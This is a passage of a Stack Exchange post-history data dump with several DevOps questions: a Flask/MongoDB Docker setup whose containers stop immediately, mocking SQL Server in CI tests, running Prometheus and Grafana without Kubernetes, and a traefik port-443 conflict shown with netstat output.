APP_SYSTEM_ERROR_SUBJECT_LINE = APP_NAME + &quot;system error&quot;&#xD;&#xA;&#xD;&#xA;    #Flask Settings&#xD;&#xA;    CSRF_ENABLES = True&#xD;&#xA;&#xD;&#xA;    # for host url, set env variables with export&#xD;&#xA;    FLASK_BIND = os.getenv('CNF_BIND', 'localhost')&#xD;&#xA;    FLASK_PORT = int(os.getenv('CNF_PORT', 8888))&#xD;&#xA;    ROOT_URL = 'http://' + FLASK_BIND + ':' + str(FLASK_PORT) + '/'&#xD;&#xA;&#xD;&#xA;    TEMPLATE_FOLDER = os.path.join(ROOT_PATH, 'cnf', 'templates')&#xD;&#xA;    STATIC_FOLDER = os.path.join(ROOT_PATH, 'cnf', 'static')&#xD;&#xA;&#xD;&#xA;    #encryption, cryptographically signs client-side cookies so they cannot be tampered with&#xD;&#xA;    #if tampered, session becomes invalid, insecure not to be used production&#xD;&#xA;    SECRET_KEY = 'this key is not secure so be careful until it is'&#xD;&#xA;    WTF_CSRF_SECRET_KEY = 'this key may or may not be secure so change it'&#xD;&#xA;    # Flask-User Settings&#xD;&#xA;    # from https://flask-user.readthedocs.io/en/latest/configuring_settings.html&#xD;&#xA;    USER_APP_NAME = &quot;cnf&quot;&#xD;&#xA;    USER_ENABLE_EMAIL = False  # register with email&#xD;&#xA;    USER_ENABLE_CONFIRM_EMAIL = False # force users to confirm email&#xD;&#xA;    USER_ENABLE_USERNAME = True  # enable username authentication&#xD;&#xA;    USER_REQUIRE_RETYPE_PASSWORD = False  # simplify register form&#xD;&#xA;    USER_EMAIL_SENDER_NAME = 'nobu'&#xD;&#xA;    #USER_EMAIL_SENDER_EMAIL = 'nobu.kim66@gmail.com' # set up Flask Mail for this&#xD;&#xA;    USER_ENABLE_CHANGE_USERNAME = True&#xD;&#xA;    USER_ENABLE_CHANGE_PASSWORD = True&#xD;&#xA;    USER_ENABLE_FORGOT_PASSWORD = True&#xD;&#xA;    #USER_ENABLE_REGISTER = True&#xD;&#xA;    USER_ENABLE_REGISTRATION = True&#xD;&#xA;    USER_ENABLE_REMEMBER_ME = True&#xD;&#xA;    USER_AFTER_LOGIN_ENDPOINT = 'main.member_page'&#xD;&#xA;    USER_AFTER_LOGOUT_ENDPOINT = 'main.home_page'&#xD;&#xA;&#xD;&#xA;    # Flask-Mail settings&#xD;&#xA;    # For smtp.gmail.com to work, you MUST set &quot;Allow less secure apps&quot; to ON in Google Accounts.&#xD;&#xA;    # Change it in https://myaccount.google.com/security#connectedapps (near the bottom).&#xD;&#xA;    MAIL_SERVER = 'smtp.gmail.com'&#xD;&#xA;    MAIL_PORT = 587&#xD;&#xA;    MAIL_USE_SSL = False&#xD;&#xA;    MAIL_USE_TLS = True&#xD;&#xA;    #MAIL_USERNAME = gmail_credentials[0]&#xD;&#xA;    #MAIL_PASSWORD = gmail_credentials[1]&#xD;&#xA;    MAIL_USERNAME = &quot;-----&quot;&#xD;&#xA;    MAIL_PASSWORD = &quot;-----&quot;&#xD;&#xA;    #ADMINS = ['&quot;Admin One&quot; &lt;admin@gmail.com&gt;,]&#xD;&#xA;&#xD;&#xA;    # Sendgrid settings&#xD;&#xA;    #SENDGRID_API_KEY='place-your-sendgrid-api-key-here'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;class DevelopmentConfig(Config):&#xD;&#xA;    MONGODB_HOST = os.getenv('CNF_MONGO_HOST', 'localhost')&#xD;&#xA;    # for docker:&#xD;&#xA;    #MONGODB_HOST = 'db'&#xD;&#xA;    MONGODB_PORT = int(os.getenv('CNF_MONGO_PORT', 27017))&#xD;&#xA;    # Todo: should get a dev_cnf db&#xD;&#xA;    MONGODB_DB = os.getenv('CNF_MONGO_DB', 'cnf')&#xD;&#xA;    # configuration from env variables, 12 factor cnf documentation&#xD;&#xA;    DEBUG = (os.getenv('CNF_DEBUG', 'True') == 'True')&#xD;&#xA;    FLASK_DEBUG = DEBUG&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;class TestingConfig(Config):&#xD;&#xA;    MONGODB_HOST = os.getenv('CNF_MONGO_HOST', 'localhost')&#xD;&#xA;    #for docker:&#xD;&#xA;    #MONGODB_HOST = 'db'&#xD;&#xA;    MONGODB_PORT = int(os.getenv('CNF_MONGO_PORT', 27017))&#xD;&#xA;    MONGODB_DB = os.getenv('CNF_MONGO_DB', 'cnf_test')  # name of db&#xD;&#xA;&#xD;&#xA;    TESTING = (os.getenv('CNF_TESTING', 'True') == 'True')&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;class ProductionConfig(Config):&#xD;&#xA;    MONGODB_HOST = os.getenv('CNF_MONGO_HOST', 'localhost')&#xD;&#xA;    MONGODB_PORT = int(os.getenv('CNF_MONGO_PORT', 27017))&#xD;&#xA;    # Todo: should get a dev_cnf db&#xD;&#xA;    MONGODB_DB = os.getenv('CNF_MONGO_DB', 'cnf')&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;config = {&#xD;&#xA;    'development': DevelopmentConfig,&#xD;&#xA;    'testing': TestingConfig,&#xD;&#xA;    'production': ProductionConfig,&#xD;&#xA;&#xD;&#xA;    'default': DevelopmentConfig&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Output from `docker-compose build`&#xD;&#xA;```&#xD;&#xA;(gamechangers) nobu@gold3forever:~/Desktop/comp4911/Project/canadian-nutrient-file$ docker-compose build&#xD;&#xA;db uses an image, skipping&#xD;&#xA;Building flask&#xD;&#xA;Step 1/4 : FROM tiangolo/meinheld-gunicorn-flask:python3.7&#xD;&#xA; ---&gt; 8c21eb2c0391&#xD;&#xA;Step 2/4 : COPY . /app&#xD;&#xA; ---&gt; a34b3105f2ca&#xD;&#xA;Step 3/4 : COPY /cnf_csv /app/cnf_csv&#xD;&#xA; ---&gt; 87d4d818dbd5&#xD;&#xA;Step 4/4 : RUN python3 bootstrap.py &amp;&amp;     bin/buildout&#xD;&#xA; ---&gt; Running in eb2d6784975e&#xD;&#xA;ez_setup.py is deprecated and when using it setuptools will be pinned to 33.1.1 since it's the last version that supports setuptools self upgrade/installation, check https://github.com/pypa/setuptools/issues/581 for more info; use pip to install setuptools&#xD;&#xA;Downloading https://pypi.io/packages/source/s/setuptools/setuptools-33.1.1.zip&#xD;&#xA;Extracting in /tmp/tmpgbjf27wb&#xD;&#xA;Now working in /tmp/tmpgbjf27wb/setuptools-33.1.1&#xD;&#xA;Building a Setuptools egg in /tmp/tmp609izx6g&#xD;&#xA;warning: no files found matching '*' under directory 'setuptools/_vendor'&#xD;&#xA;/tmp/tmp609izx6g/setuptools-33.1.1-py3.7.egg&#xD;&#xA;no previously-included directories found matching 'doc'&#xD;&#xA;no previously-included directories found matching 'old-tutorial'&#xD;&#xA;Creating directory '/app/develop-eggs'.&#xD;&#xA;Generated script '/app/bin/buildout'.&#xD;&#xA;/tmp/tmp609izx6g/setuptools-33.1.1-py3.7.egg/pkg_resources/__init__.py:184: RuntimeWarning: You have iterated over the result of pkg_resources.parse_version. This is a legacy behavior which is inconsistent with the new version class introduced in setuptools 8.0. In most cases, conversion to a tuple is unnecessary. For comparison of versions, sort the Version instances directly. If you have another use case requiring the tuple, please file a bug with the setuptools project describing that need.&#xD;&#xA;Develop: '/app/.'&#xD;&#xA;Getting distribution for 'zc.recipe.egg==2.0.3'.&#xD;&#xA;WARNING: The easy_install command is deprecated and will be removed in a future version.&#xD;&#xA;Got zc.recipe.egg 2.0.3.&#xD;&#xA;Uninstalling eggs.&#xD;&#xA;Installing eggs.&#xD;&#xA;Generated script '/app/bin/cnf'.&#xD;&#xA;Generated interpreter '/app/bin/python'.&#xD;&#xA;Removing intermediate container eb2d6784975e&#xD;&#xA; ---&gt; 35ed375967ff&#xD;&#xA;&#xD;&#xA;Successfully built 35ed375967ff&#xD;&#xA;Successfully tagged cnf_flask:latest&#xD;&#xA;```&#xD;&#xA;And `docker-compose up -d`&#xD;&#xA;```&#xD;&#xA;(gamechangers) nobu@gold3forever:~/Desktop/comp4911/Project/canadian-nutrient-file$ docker-compose up -d&#xD;&#xA;Creating cnf_db_1    ... done&#xD;&#xA;Creating cnf_flask_1 ... done&#xD;&#xA;(gamechangers) nobu@gold3forever:~/Desktop/comp4911/Project/canadian-nutrient-file$ docker-compose up -d&#xD;&#xA;Starting cnf_db_1    ... done&#xD;&#xA;Starting cnf_flask_1 ... done&#xD;&#xA;(gamechangers) nobu@gold3forever:~/Desktop/comp4911/Project/canadian-nutrient-file$ docker-compose up -d&#xD;&#xA;Starting cnf_db_1    ... done&#xD;&#xA;Starting cnf_flask_1 ... done&#xD;&#xA;(gamechangers) nobu@gold3forever:~/Desktop/comp4911/Project/canadian-nutrient-file$ docker ps&#xD;&#xA;CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;```&#xD;&#xA;So it looks like the containers start but stop immediately.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any hints are welcome and appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38336" PostHistoryTypeId="1" PostId="12484" RevisionGUID="204cdb17-57ad-454e-8273-d1d29a7ded3e" CreationDate="2020-09-24T06:32:05.833" UserId="24074" Text="Docker/Web Noob trying to get a Flask MongoDB app to work with a Meinheld-Gunicorn-Flask Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="38337" PostHistoryTypeId="3" PostId="12484" RevisionGUID="204cdb17-57ad-454e-8273-d1d29a7ded3e" CreationDate="2020-09-24T06:32:05.833" UserId="24074" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38340" PostHistoryTypeId="2" PostId="12485" RevisionGUID="62506c2c-690a-4a58-a122-511d85449309" CreationDate="2020-09-24T15:49:09.990" UserId="8550" Text="I am working on some .NET applications with a rest API. These comprise both .NET Core and .NET Framework applications. In the CI build process, unit tests are running on Azure Devops Server. My unit tests are all fine. However, I also have self hosting tests. For .NET Core, I use [WebApplicationFactory](https://docs.microsoft.com/en-us/aspnet/core/test/integration-tests?view=aspnetcore-3.1) in my xUnit tests. For .NET Framework, I use [an OWIN server](https://medium.com/@piyathida.sanaoun01/automation-integration-testing-by-owin-to-self-host-asp-net-web-api-93041c3d638d) inside nUnit tests. Logically, the external REST API's need to be mocked. To do so, [WireMock.NET](https://github.com/WireMock-Net/WireMock.Net) is used. So far so good.&#xD;&#xA;&#xD;&#xA;However, some of my applications have a SQL Server dependency. This is a strong dependency (features and datatypes understood by SQL Server are enthousiasticly used). Therefore, mocking the database dependency with SQLite is not an option. So how to mock my SQL Server databases?&#xD;&#xA;&#xD;&#xA;I read about [SQL Server In-Memory OLTP](https://docs.microsoft.com/en-us/sql/relational-databases/in-memory-oltp/in-memory-oltp-in-memory-optimization?view=sql-server-ver15). I think the concept is clear to me but it is not clear if this is really a practical option mock my database. What is nice about WireMock.NET and OWIN is that this can be used by this adding and using some extra NuGet packages. There is no need to install any extra software.&#xD;&#xA;&#xD;&#xA;Is OLTP a good way to mock my database? So can it be used without extra software installations? Does it cover the features of sql server machines?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38341" PostHistoryTypeId="1" PostId="12485" RevisionGUID="62506c2c-690a-4a58-a122-511d85449309" CreationDate="2020-09-24T15:49:09.990" UserId="8550" Text="Can OLTP be an option to mock my database in my CI Tests?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38342" PostHistoryTypeId="3" PostId="12485" RevisionGUID="62506c2c-690a-4a58-a122-511d85449309" CreationDate="2020-09-24T15:49:09.990" UserId="8550" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;&lt;databases&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38343" PostHistoryTypeId="2" PostId="12486" RevisionGUID="68cdc5af-b64d-495c-b556-c54c19fb6363" CreationDate="2020-09-24T19:25:37.003" UserId="23212" Text="In some project there are scaling and orchestration implemented using technologies of a local cloud provider, with no Docker &amp; Kubernetes. But the project has poor logging and monitoring, I'd like to instal Prometheus, Loki, and Grafana for metrics, logs, and visualisation respectively. Unfortunately, I've found no articles with instructions about using Prometheus without K8s.&#xD;&#xA;&#xD;&#xA;But is it possible? If so, is it a good was? I know that Prometheus &amp; Loki can automatically detect services in the K8s to extract metrics and logs, but will the same work for a custom orchestration system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38344" PostHistoryTypeId="1" PostId="12486" RevisionGUID="68cdc5af-b64d-495c-b556-c54c19fb6363" CreationDate="2020-09-24T19:25:37.003" UserId="23212" Text="Is it possible/fine to run Prometheus, Loki, Grafana outside of Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38345" PostHistoryTypeId="3" PostId="12486" RevisionGUID="68cdc5af-b64d-495c-b556-c54c19fb6363" CreationDate="2020-09-24T19:25:37.003" UserId="23212" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;orchestration&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38346" PostHistoryTypeId="2" PostId="12487" RevisionGUID="cb601c77-4589-4f50-84cb-297b1692a288" CreationDate="2020-09-24T19:45:59.613" UserId="23443" Text="&#xD;&#xA;specific error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (9403a83dff1da9718f4bbe0bf9c308b7a69093a4aab714a45d542224e8c9679c): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;building image:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ git config remote.origin.url&#xD;&#xA;    https://github.com/frappe/frappe_docker.git&#xD;&#xA;    root $ &#xD;&#xA;    root $ pwd&#xD;&#xA;    /home/nicholas/github/frappe_docker&#xD;&#xA;    root $ &#xD;&#xA;    root $ whoami&#xD;&#xA;    root&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker compose-up&#xD;&#xA;    docker: 'compose-up' is not a docker command.&#xD;&#xA;    See 'docker --help'&#xD;&#xA;    root $ &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    Creating network &quot;frappe_docker_default&quot; with the default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_assets-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-queue-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-cache-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_sites-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_mariadb-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_cert-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-socketio-vol&quot; with default driver&#xD;&#xA;    Pulling redis-queue (redis:latest)...&#xD;&#xA;    latest: Pulling from library/redis&#xD;&#xA;    d121f8d1c412: Already exists&#xD;&#xA;    2f9874741855: Pull complete&#xD;&#xA;    d92da09ebfd4: Pull complete&#xD;&#xA;    bdfa64b72752: Pull complete&#xD;&#xA;    e748e6f663b9: Pull complete&#xD;&#xA;    eb1c8b66e2a1: Pull complete&#xD;&#xA;    Digest: sha256:1cfb205a988a9dae5f025c57b92e9643ec0e7ccff6e66bc639d8a5f95bba928c&#xD;&#xA;    Status: Downloaded newer image for redis:latest&#xD;&#xA;    Pulling erpnext-worker-long (frappe/erpnext-worker:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-worker&#xD;&#xA;    522a7372a4ae: Already exists&#xD;&#xA;    fe49c307ba58: Pull complete&#xD;&#xA;    087f00e219ec: Pull complete&#xD;&#xA;    252533adc0db: Pull complete&#xD;&#xA;    42192fcae2c8: Pull complete&#xD;&#xA;    f9385d54957d: Pull complete&#xD;&#xA;    6be927b22c8e: Pull complete&#xD;&#xA;    795eed272aec: Pull complete&#xD;&#xA;    77889f8e826e: Pull complete&#xD;&#xA;    eca6af02605b: Pull complete&#xD;&#xA;    d9d9fbb70016: Pull complete&#xD;&#xA;    1fec8e8d8c69: Pull complete&#xD;&#xA;    4f7588149326: Pull complete&#xD;&#xA;    adf49f8e4c64: Pull complete&#xD;&#xA;    39eba9b9af97: Pull complete&#xD;&#xA;    fc8a4e5ee278: Pull complete&#xD;&#xA;    197c0dd2b467: Pull complete&#xD;&#xA;    07a1ddc0cbd5: Pull complete&#xD;&#xA;    1f848d7ee176: Pull complete&#xD;&#xA;    9ff1b5719ccf: Pull complete&#xD;&#xA;    8242cccddfed: Pull complete&#xD;&#xA;    be819aea4ac8: Pull complete&#xD;&#xA;    f3bcc4e6c232: Pull complete&#xD;&#xA;    Digest: sha256:e1b9602163a9c0959d924315aaf3919aa2404baa88997f11073758dfe43c7714&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-worker:edge&#xD;&#xA;    Pulling traefik (traefik:v2.2)...&#xD;&#xA;    v2.2: Pulling from library/traefik&#xD;&#xA;    cbdbe7a5bc2a: Pull complete&#xD;&#xA;    f16506d32a25: Pull complete&#xD;&#xA;    605303653d66: Pull complete&#xD;&#xA;    a9005a35b171: Pull complete&#xD;&#xA;    Digest: sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db&#xD;&#xA;    Status: Downloaded newer image for traefik:v2.2&#xD;&#xA;    Pulling mariadb (mariadb:10.3)...&#xD;&#xA;    10.3: Pulling from library/mariadb&#xD;&#xA;    e6ca3592b144: Pull complete&#xD;&#xA;    534a5505201d: Pull complete&#xD;&#xA;    990916bd23bb: Pull complete&#xD;&#xA;    c62d6bd206a2: Pull complete&#xD;&#xA;    ba34deb445c3: Pull complete&#xD;&#xA;    47b4f6570cf0: Pull complete&#xD;&#xA;    28b039c5139e: Pull complete&#xD;&#xA;    d9f0e67eb23f: Pull complete&#xD;&#xA;    69df87d9330c: Pull complete&#xD;&#xA;    420ae5e12220: Pull complete&#xD;&#xA;    7539ff915a5c: Pull complete&#xD;&#xA;    45aee0e8778e: Pull complete&#xD;&#xA;    694594587433: Pull complete&#xD;&#xA;    Digest: sha256:bc0a542b4b69b71b4dda09aaaec3cb57902f935fc1237ee9bd542a944a877ae8&#xD;&#xA;    Status: Downloaded newer image for mariadb:10.3&#xD;&#xA;    Pulling erpnext-nginx (frappe/erpnext-nginx:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-nginx&#xD;&#xA;    d121f8d1c412: Already exists&#xD;&#xA;    ebd81fc8c071: Already exists&#xD;&#xA;    655316c160af: Already exists&#xD;&#xA;    d15953c0e0f8: Already exists&#xD;&#xA;    2ee525c5c3cc: Already exists&#xD;&#xA;    998e31db18de: Pull complete&#xD;&#xA;    d6b501d3e02a: Pull complete&#xD;&#xA;    95b354c2b5ea: Pull complete&#xD;&#xA;    8ef9ced566c5: Pull complete&#xD;&#xA;    7359850e2e7d: Pull complete&#xD;&#xA;    b1ddb017a0ed: Pull complete&#xD;&#xA;    055262deb169: Pull complete&#xD;&#xA;    4155a56e936b: Pull complete&#xD;&#xA;    Digest: sha256:394dd647bf0d486afc689366dff7cac6fca9fd623c47ec55583d53581431b91c&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-nginx:edge&#xD;&#xA;    Pulling frappe-socketio (frappe/frappe-socketio:edge)...&#xD;&#xA;    edge: Pulling from frappe/frappe-socketio&#xD;&#xA;    abb454610128: Already exists&#xD;&#xA;    3dfc5a66c517: Already exists&#xD;&#xA;    9d3cc0392eb2: Already exists&#xD;&#xA;    269452c05570: Already exists&#xD;&#xA;    4a5ad82bcf62: Already exists&#xD;&#xA;    d9e4710f1239: Pull complete&#xD;&#xA;    0cbfca669cac: Pull complete&#xD;&#xA;    c1659af7c53f: Pull complete&#xD;&#xA;    7d1fb7ca8900: Pull complete&#xD;&#xA;    5b751fa50a09: Pull complete&#xD;&#xA;    a51353f97821: Pull complete&#xD;&#xA;    db61d40e1d8f: Pull complete&#xD;&#xA;    Digest: sha256:43abae19ff0f2ab064bfae012c77b7515534a7294ea05c65738ce943818758ff&#xD;&#xA;    Status: Downloaded newer image for frappe/frappe-socketio:edge&#xD;&#xA;    Creating frappe_docker_redis-cache_1    ... done&#xD;&#xA;    Creating frappe_docker_redis-socketio_1 ... done&#xD;&#xA;    Creating frappe_docker_mariadb_1                ... done&#xD;&#xA;    Creating frappe_docker_erpnext-nginx_1  ... done&#xD;&#xA;    Creating frappe_docker_redis-queue_1     ... done&#xD;&#xA;    Creating frappe_docker_erpnext-python_1 ... done&#xD;&#xA;    Creating frappe_docker_traefik_1        ... &#xD;&#xA;    Creating frappe_docker_traefik_1                ... error&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1 ... &#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1 ... &#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1    ... &#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1 ... &#xD;&#xA;    Creating frappe_docker_site-creator_1           ... done&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1        ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1    ... done&#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1       ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1   ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-default_1 ... done&#xD;&#xA;    &#xD;&#xA;    ERROR: for traefik  Cannot start service traefik: driver failed programming external connectivity on endpoint frappe_docker_traefik_1 (9403a83dff1da9718f4bbe0bf9c308b7a69093a4aab714a45d542224e8c9679c): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;    ERROR: Encountered errors while bringing up the project.&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ sudo netstat -pna | grep 443&#xD;&#xA;    tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      892/nginx: master p &#xD;&#xA;    tcp        0      0 192.168.1.3:40868       172.217.3.174:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34876       172.217.14.226:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49400       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45006       172.217.3.161:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:57728       99.84.66.47:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41922       216.58.193.67:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41330       157.240.3.29:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:55040       69.147.80.15:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54386       172.217.3.206:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:40868       104.16.24.34:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45212       172.217.14.194:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:58514       172.217.14.206:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48780       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54460       216.58.193.78:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49406       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48966       74.125.197.95:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:56798       98.137.11.143:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:43260       172.217.14.193:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:43158       172.217.14.202:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:43156       172.217.14.202:443      TIME_WAIT   -                   &#xD;&#xA;    tcp        0      0 192.168.1.3:46862       151.101.193.69:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:55550       192.0.73.2:443          ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52392       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34928       172.217.14.226:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:60420       172.217.3.195:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48100       74.125.195.189:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52396       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48774       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:42918       192.184.69.141:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:53542       54.212.130.172:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:52372       172.217.3.194:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:34266       172.217.14.198:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:44174       216.58.217.34:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:59974       74.125.20.156:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:57814       99.84.66.47:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49482       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39464       23.62.70.19:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:35576       99.84.66.78:443         ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:59108       157.240.3.20:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:43230       172.217.14.193:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39030       172.217.3.164:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:39160       104.17.79.107:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:54458       216.58.193.78:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:41854       172.217.3.170:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        1      0 192.168.1.3:53892       172.67.11.174:80        CLOSE_WAIT  446443/WebKitNetwor &#xD;&#xA;    tcp        0      0 192.168.1.3:45222       172.217.14.194:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:45108       54.70.109.38:443        ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:49452       198.252.206.25:443      ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp        0      0 192.168.1.3:48836       216.58.193.66:443       ESTABLISHED 426645/firefox      &#xD;&#xA;    tcp6       0      0 :::443                  :::*                    LISTEN      892/nginx: master p &#xD;&#xA;    unix  2      [ ACC ]     STREAM     LISTENING     24632463 448102/containerd-s  @/containerd-shim/moby/adaa8c3f4f239d443191aa03c37d4f9b2dc5867f355327bf9ac454c04228c421/shim.sock@&#xD;&#xA;    unix  2      [ ACC ]     STREAM     LISTENING     21327443 1/systemd            /run/systemd/userdb/io.systemd.DynamicUser&#xD;&#xA;    unix  3      [ ]         SEQPACKET  CONNECTED     24588159 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24212443 426457/python3       &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24588530 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433290 1/systemd            /run/systemd/journal/stdout&#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24588523 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433288 438233/fwupd         &#xD;&#xA;    unix  3      [ ]         SEQPACKET  CONNECTED     24588536 446443/WebKitNetwor  &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24433306 438233/fwupd         &#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24432328 616/dbus-daemon      /run/dbus/system_bus_socket&#xD;&#xA;    unix  3      [ ]         STREAM     CONNECTED     24628094 448102/containerd-s  @/containerd-shim/moby/adaa8c3f4f239d443191aa03c37d4f9b2dc5867f355327bf9ac454c04228c421/shim.sock@&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;My understanding of [this problem][1] is that it relates more to running the container rather than building the image.  Yet the image wasn't built?  I don't see it listed in `docker images`, and certainly nothing recent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is almost certainly a conflict with an existing container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/37971961/4531180&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
